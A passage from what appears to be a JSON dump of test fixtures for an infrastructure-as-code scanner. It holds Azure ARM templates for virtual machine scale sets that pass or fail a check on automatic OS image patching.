\"2019-datacenter-gensecond\",\n                            \"version\": \"latest\"\n                        }\n                    },\n                    \"networkProfile\": {\n                        \"networkApiVersion\": \"[variables('networkApiVersion')]\",\n                        \"copy\": [\n                            {\n                                \"name\": \"networkInterfaceConfigurations\",\n                                \"count\": \"[length(parameters('networkInterfaceConfigurations'))]\",\n                                \"input\": {\n                                    \"name\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name]\",\n                                    \"properties\": {\n                                        \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                        \"enableAcceleratedNetworking\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].enableAcceleratedNetworking]\",\n                                        \"ipConfigurations\": [\n                                            {\n                                                \"name\": \"[concat(take(parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name, sub(80, length('-defaultIpConfiguration'))), '-defaultIpConfiguration')]\",\n                                                \"properties\": {\n                                                    \"subnet\": {\n                                                        \"id\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].subnetId]\"\n                                                    },\n                                                    \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                                    \"applicationGatewayBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].applicationGatewayBackendAddressPools]\",\n                                                    \"loadBalancerBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerBackendAddressPools]\",\n                                                    \"publicIPAddressConfiguration\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, ''), json('null'), union(json(concat('{\\\"name\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, '\\\"}'))\\n        ,json('{\\\"properties\\\": { \\\"idleTimeoutInMinutes\\\": 15}}')))]\"\n                                                }\n                                            }\n                                        ],\n                                        \"networkSecurityGroup\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, ''), json('null'),json(concat('{\\\"id\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, '\\\"}')))]\"\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"extensionProfile\": {\n                        \"extensions\": [\n                            {\n                                \"name\": \"GuestAttestation\",\n                                \"properties\": {\n                                    \"publisher\": \"Microsoft.Azure.Security.WindowsAttestation\",\n                                    \"type\": \"GuestAttestation\",\n                                    \"typeHandlerVersion\": \"1.0\",\n                                    \"autoUpgradeMinorVersion\": true,\n                                    \"enableAutomaticUpgrade\": true,\n                                    \"settings\": {\n                                        \"AttestationConfig\": {\n                                            \"MaaSettings\": {\n                                                \"maaEndpoint\": \"\",\n                                                \"maaTenantName\": \"GuestAttestation\"\n                                            },\n                                            \"AscSettings\": {\n                                                \"ascReportingEndpoint\": \"\",\n                                                \"ascReportingFrequency\": \"\"\n                                            },\n                                            \"useCustomToken\": \"false\",\n                                            \"disableAlerts\": \"false\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"diagnosticsProfile\": {\n                        \"bootDiagnostics\": {\n                            \"enabled\": true\n                        }\n                    },\n                    \"osProfile\": {\n                        \"computerNamePrefix\": \"[variables('namingInfix')]\",\n                        \"adminUsername\": \"[parameters('adminUsername')]\",\n                        \"adminPassword\": \"[parameters('adminPassword')]\",\n                        \"windowsConfiguration\": {\n                            \"provisionVmAgent\": true,\n                            \"enableAutomaticUpdates\": true,\n                            \"patchSettings\": {\n                                \"enableHotpatching\": \"[parameters('enableHotpatching')]\",\n                                \"patchMode\": \"[parameters('patchMode')]\"\n                            }\n                        }\n                    },\n                    \"securityProfile\": {\n                        \"securityType\": \"[parameters('securityType')]\",\n                        \"uefiSettings\": {\n                            \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                            \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                        }\n                    }\n                },\n                \"orchestrationMode\": \"Flexible\",\n                \"platformFaultDomainCount\": \"[parameters('platformFaultDomainCount')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('instanceSize')]\",\n                \"capacity\": \"[int(parameters('instanceCount'))]\"\n            }\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMScaleSetsAutoOSImagePatchingEnabled/fail.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"virtualNetworkId\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroups\": {\n            \"type\": \"array\"\n        },\n        \"networkInterfaceConfigurations\": {\n            \"type\": \"array\"\n        },\n        \"vmName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineScaleSetName\": {\n            \"type\": \"string\"\n        },\n        \"singlePlacementGroup\": {\n            \"type\": \"string\"\n        },\n        \"instanceCount\": {\n            \"type\": \"string\"\n        },\n        \"instanceSize\": {\n            \"type\": \"string\"\n        },\n        \"scaleInPolicy\": {\n            \"type\": \"object\"\n        },\n        \"overprovision\": {\n            \"type\": \"bool\"\n        },\n        \"upgradePolicy\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"platformFaultDomainCount\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"storageApiVersion\": \"2021-01-01\",\n        \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n        \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroups')[copyIndex()].name]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroups')[copyIndex()].rules]\"\n            },\n            \"copy\": {\n                \"name\": \"networkSecurityGroups\",\n                \"count\": \"[length(parameters('networkSecurityGroups'))]\"\n            }\n        },\n        {\n            \"name\": \"fail\",\n            \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n            \"apiVersion\": \"[variables('virtualMachineScaleSetApiVersion')]\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n                \"networkSecurityGroups\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\"\n            ],\n            \"properties\": {\n                \"singlePlacementGroup\": \"[parameters('singlePlacementGroup')]\",\n                \"virtualMachineProfile\": {\n                    \"storageProfile\": {\n                        \"osDisk\": {\n                            \"createOption\": \"fromImage\",\n                            \"caching\": \"ReadWrite\",\n                            \"managedDisk\": {\n                                \"storageAccountType\": \"[parameters('osDiskType')]\"\n                            }\n                        },\n                        \"imageReference\": {\n                            \"publisher\": \"canonical\",\n                            \"offer\": \"0001-com-ubuntu-server-focal\",\n                            \"sku\": \"20_04-lts-gen2\",\n                            \"version\": \"latest\"\n                        }\n                    },\n                    \"networkProfile\": {\n                        \"copy\": [\n                            {\n                                \"name\": \"networkInterfaceConfigurations\",\n                                \"count\": \"[length(parameters('networkInterfaceConfigurations'))]\",\n                                \"input\": {\n                                    \"name\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name]\",\n                                    \"properties\": {\n                                        \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                        \"enableAcceleratedNetworking\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].enableAcceleratedNetworking]\",\n                                        \"ipConfigurations\": [\n                                            {\n                                                \"name\": \"[concat(take(parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name, sub(80, length('-defaultIpConfiguration'))), '-defaultIpConfiguration')]\",\n                                                \"properties\": {\n                                                    \"subnet\": {\n                                                        \"id\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].subnetId]\"\n                                                    },\n                                                    \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                                    \"applicationGatewayBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].applicationGatewayBackendAddressPools]\",\n                                                    \"loadBalancerBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerBackendAddressPools]\",\n                                                    \"publicIPAddressConfiguration\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, ''), json('null'), union(json(concat('{\\\"name\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, '\\\"}'))\\n        ,json('{\\\"properties\\\": { \\\"idleTimeoutInMinutes\\\": 15}}')))]\",\n                                                    \"loadBalancerInboundNatPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerInboundNatPools]\"\n                                                }\n                                            }\n                                        ],\n                                        \"networkSecurityGroup\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, ''), json('null'),json(concat('{\\\"id\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, '\\\"}')))]\"\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"extensionProfile\": {\n                        \"extensions\": [\n                            {\n                                \"name\": \"GuestAttestation\",\n                                \"properties\": {\n                                    \"publisher\": \"Microsoft.Azure.Security.LinuxAttestation\",\n                                    \"type\": \"GuestAttestation\",\n                                    \"typeHandlerVersion\": \"1.0\",\n                                    \"autoUpgradeMinorVersion\": true,\n                                    \"enableAutomaticUpgrade\": false,\n                                    \"settings\": {\n                                        \"AttestationConfig\": {\n                                            \"MaaSettings\": {\n                                                \"maaEndpoint\": \"\",\n                                                \"maaTenantName\": \"GuestAttestation\"\n                                            },\n                                            \"AscSettings\": {\n                                                \"ascReportingEndpoint\": \"\",\n                                                \"ascReportingFrequency\": \"\"\n                                            },\n                                            \"useCustomToken\": \"false\",\n                                            \"disableAlerts\": \"false\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"diagnosticsProfile\": {\n                        \"bootDiagnostics\": {\n                            \"enabled\": true\n                        }\n                    },\n                    \"osProfile\": {\n                        \"computerNamePrefix\": \"[variables('namingInfix')]\",\n                        \"adminUsername\": \"[parameters('adminUsername')]\",\n                        \"linuxConfiguration\": {\n                            \"disablePasswordAuthentication\": true\n                        }\n                    },\n                    \"securityProfile\": {\n                        \"securityType\": \"[parameters('securityType')]\",\n                        \"uefiSettings\": {\n                            \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                            \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                        }\n                    }\n                },\n                \"orchestrationMode\": \"Uniform\",\n                \"scaleInPolicy\": \"[parameters('scaleInPolicy')]\",\n                \"overprovision\": \"[parameters('overprovision')]\",\n                \"upgradePolicy\": {\n                    \"mode\": \"[parameters('upgradePolicy')]\"\n                },\n                \"platformFaultDomainCount\": \"[parameters('platformFaultDomainCount')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('instanceSize')]\",\n                \"capacity\": \"[int(parameters('instanceCount'))]\"\n            }\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMScaleSetsAutoOSImagePatchingEnabled/fail2.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"virtualNetworkId\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroups\": {\n            \"type\": \"array\"\n        },\n        \"networkInterfaceConfigurations\": {\n            \"type\": \"array\"\n        },\n        \"vmName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineScaleSetName\": {\n            \"type\": \"string\"\n        },\n        \"instanceCount\": {\n            \"type\": \"string\"\n        },\n        \"instanceSize\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"platformFaultDomainCount\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"storageApiVersion\": \"2021-01-01\",\n        \"networkApiVersion\": \"2020-11-01\",\n        \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n        \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroups')[copyIndex()].name]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroups')[copyIndex()].rules]\"\n            },\n            \"copy\": {\n                \"name\": \"networkSecurityGroups\",\n                \"count\": \"[length(parameters('networkSecurityGroups'))]\"\n            }\n        },\n        {\n            \"name\": \"fail2\",\n            \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n            \"apiVersion\": \"[variables('virtualMachineScaleSetApiVersion')]\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n                \"networkSecurityGroups\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\"\n            ],\n            \"properties\": {\n                \"virtualMachineProfile\": {\n                    \"storageProfile\": {\n                        \"osDisk\": {\n                            \"createOption\": \"fromImage\",\n                            \"caching\": \"ReadWrite\",\n                            \"managedDisk\": {\n                                \"storageAccountType\": \"[parameters('osDiskType')]\"\n                            }\n                        },\n                        \"imageReference\": {\n                            \"publisher\": \"canonical\",\n                            \"offer\": \"0001-com-ubuntu-server-focal\",\n                            \"sku\": \"20_04-lts-gen2\",\n                            \"version\": \"latest\"\n                        }\n                    },\n                    \"networkProfile\": {\n                        \"networkApiVersion\": \"[variables('networkApiVersion')]\",\n                        \"copy\": [\n                            {\n                                \"name\": \"networkInterfaceConfigurations\",\n                                \"count\": \"[length(parameters('networkInterfaceConfigurations'))]\",\n                                \"input\": {\n                                    \"name\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name]\",\n                                    \"properties\": {\n                                        \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                        \"enableAcceleratedNetworking\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].enableAcceleratedNetworking]\",\n                                        \"ipConfigurations\": [\n                                            {\n                                                \"name\": \"[concat(take(parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name, sub(80, length('-defaultIpConfiguration'))), '-defaultIpConfiguration')]\",\n                                                \"properties\": {\n                                                    \"subnet\": {\n                                                        \"id\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].subnetId]\"\n                                                    },\n                                                    \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                                    \"applicationGatewayBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].applicationGatewayBackendAddressPools]\",\n                                                    \"loadBalancerBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerBackendAddressPools]\",\n                                                    \"publicIPAddressConfiguration\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, ''), json('null'), union(json(concat('{\\\"name\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, '\\\"}'))\\n        ,json('{\\\"properties\\\": { \\\"idleTimeoutInMinutes\\\": 15}}')))]\"\n                                                }\n                                            }\n                                        ],\n                                        \"networkSecurityGroup\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, ''), json('null'),json(concat('{\\\"id\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, '\\\"}')))]\"\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"extensionProfile\": {\n                        \"extensions\": [\n                            {\n                                \"name\": \"GuestAttestation\",\n                                \"properties\": {\n                                    \"publisher\": \"Microsoft.Azure.Security.LinuxAttestation\",\n                                    \"type\": \"GuestAttestation\",\n                                    \"typeHandlerVersion\": \"1.0\",\n                                    \"autoUpgradeMinorVersion\": true,\n                                    \"enableAutomaticUpgrade\": true,\n                                    \"settings\": {\n                                        \"AttestationConfig\": {\n                                            \"MaaSettings\": {\n                                                \"maaEndpoint\": \"\",\n                                                \"maaTenantName\": \"GuestAttestation\"\n                                            },\n                                            \"AscSettings\": {\n                                                \"ascReportingEndpoint\": \"\",\n                                                \"ascReportingFrequency\": \"\"\n                                            },\n                                            \"useCustomToken\": \"false\",\n                                            \"disableAlerts\": \"false\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"diagnosticsProfile\": {\n                        \"bootDiagnostics\": {\n                            \"enabled\": true\n                        }\n                    },\n                    \"osProfile\": {\n                        \"computerNamePrefix\": \"[variables('namingInfix')]\",\n                        \"adminUsername\": \"[parameters('adminUsername')]\",\n                        \"linuxConfiguration\": {\n                            \"disablePasswordAuthentication\": true\n                        }\n                    },\n                    \"securityProfile\": {\n                        \"securityType\": \"[parameters('securityType')]\",\n                        \"uefiSettings\": {\n                            \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                            \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                        }\n                    }\n                },\n                \"orchestrationMode\": \"Flexible\",\n                \"platformFaultDomainCount\": \"[parameters('platformFaultDomainCount')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('instanceSize')]\",\n                \"capacity\": \"[int(parameters('instanceCount'))]\"\n            }\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMScaleSetsAutoOSImagePatchingEnabled/pass-windows.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"virtualNetworkId\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroups\": {\n            \"type\": \"array\"\n        },\n        \"networkInterfaceConfigurations\": {\n            \"type\": \"array\"\n        },\n        \"vmName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineScaleSetName\": {\n            \"type\": \"string\"\n        },\n        \"singlePlacementGroup\": {\n            \"type\": \"string\"\n        },\n        \"instanceCount\": {\n            \"type\": \"string\"\n        },\n        \"instanceSize\": {\n            \"type\": \"string\"\n        },\n        \"scaleInPolicy\": {\n            \"type\": \"object\"\n        },\n        \"overprovision\": {\n            \"type\": \"bool\"\n        },\n        \"upgradePolicy\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"adminPassword\": {\n            \"type\": \"secureString\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"platformFaultDomainCount\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"storageApiVersion\": \"2021-01-01\",\n        \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n        \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroups')[copyIndex()].name]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroups')[copyIndex()].rules]\"\n            },\n            \"copy\": {\n                \"name\": \"networkSecurityGroups\",\n                \"count\": \"[length(parameters('networkSecurityGroups'))]\"\n            }\n        },\n        {\n            \"name\": \"pass-windows\",\n            \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n            \"apiVersion\": \"[variables('virtualMachineScaleSetApiVersion')]\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n                \"networkSecurityGroups\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\"\n            ],\n            \"properties\": {\n                \"singlePlacementGroup\": \"[parameters('singlePlacementGroup')]\",\n                \"virtualMachineProfile\": {\n                    \"storageProfile\": {\n                        \"osDisk\": {\n                            \"createOption\": \"fromImage\",\n                            \"caching\": \"ReadWrite\",\n                            \"managedDisk\": {\n                                \"storageAccountType\": \"[parameters('osDiskType')]\"\n                            }\n                        },\n                        \"imageReference\": {\n                            \"publisher\": \"MicrosoftWindowsServer\",\n                            \"offer\": \"WindowsServer\",\n                            \"sku\": \"2019-datacenter-gensecond\",\n                            \"version\": \"latest\"\n                        }\n                    },\n                    \"networkProfile\": {\n                        \"copy\": [\n                            {\n                                \"name\": \"networkInterfaceConfigurations\",\n                                \"count\": \"[length(parameters('networkInterfaceConfigurations'))]\",\n                                \"input\": {\n                                    \"name\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name]\",\n                                    \"properties\": {\n                                        \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                        \"enableAcceleratedNetworking\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].enableAcceleratedNetworking]\",\n                                        \"ipConfigurations\": [\n                                            {\n                                                \"name\": \"[concat(take(parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name, sub(80, length('-defaultIpConfiguration'))), '-defaultIpConfiguration')]\",\n                                                \"properties\": {\n                                                    \"subnet\": {\n                                                        \"id\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].subnetId]\"\n                                                    },\n                                                    \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                                    \"applicationGatewayBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].applicationGatewayBackendAddressPools]\",\n                                                    \"loadBalancerBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerBackendAddressPools]\",\n                                                    \"publicIPAddressConfiguration\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, ''), json('null'), union(json(concat('{\\\"name\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, '\\\"}'))\\n        ,json('{\\\"properties\\\": { \\\"idleTimeoutInMinutes\\\": 15}}')))]\",\n                                                    \"loadBalancerInboundNatPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerInboundNatPools]\"\n                                                }\n                                            }\n                                        ],\n                                        \"networkSecurityGroup\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, ''), json('null'),json(concat('{\\\"id\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, '\\\"}')))]\"\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"extensionProfile\": {\n                        \"extensions\": [\n                            {\n                                \"name\": \"GuestAttestation\",\n                                \"properties\": {\n                                    \"publisher\": \"Microsoft.Azure.Security.WindowsAttestation\",\n                                    \"type\": \"GuestAttestation\",\n                                    \"typeHandlerVersion\": \"1.0\",\n                                    \"autoUpgradeMinorVersion\": true,\n                                    \"enableAutomaticUpgrade\": true,\n                                    \"settings\": {\n                                        \"AttestationConfig\": {\n                                            \"MaaSettings\": {\n                                                \"maaEndpoint\": \"\",\n                                                \"maaTenantName\": \"GuestAttestation\"\n                                            },\n                                            \"AscSettings\": {\n                                                \"ascReportingEndpoint\": \"\",\n                                                \"ascReportingFrequency\": \"\"\n                                            },\n                                            \"useCustomToken\": \"false\",\n                                            \"disableAlerts\": \"false\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"diagnosticsProfile\": {\n                        \"bootDiagnostics\": {\n                            \"enabled\": true\n                        }\n                    },\n                    \"osProfile\": {\n                        \"computerNamePrefix\": \"[variables('namingInfix')]\",\n                        \"adminUsername\": \"[parameters('adminUsername')]\",\n                        \"adminPassword\": \"[parameters('adminPassword')]\",\n                        \"windowsConfiguration\": {\n                            \"provisionVmAgent\": true\n                        }\n                    },\n                    \"securityProfile\": {\n                        \"securityType\": \"[parameters('securityType')]\",\n                        \"uefiSettings\": {\n                            \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                            \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                        }\n                    }\n                },\n                \"orchestrationMode\": \"Uniform\",\n                \"scaleInPolicy\": \"[parameters('scaleInPolicy')]\",\n                \"overprovision\": \"[parameters('overprovision')]\",\n                \"upgradePolicy\": {\n                    \"mode\": \"[parameters('upgradePolicy')]\"\n                },\n                \"platformFaultDomainCount\": \"[parameters('platformFaultDomainCount')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('instanceSize')]\",\n                \"capacity\": \"[int(parameters('instanceCount'))]\"\n            }\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMScaleSetsAutoOSImagePatchingEnabled/pass.json",
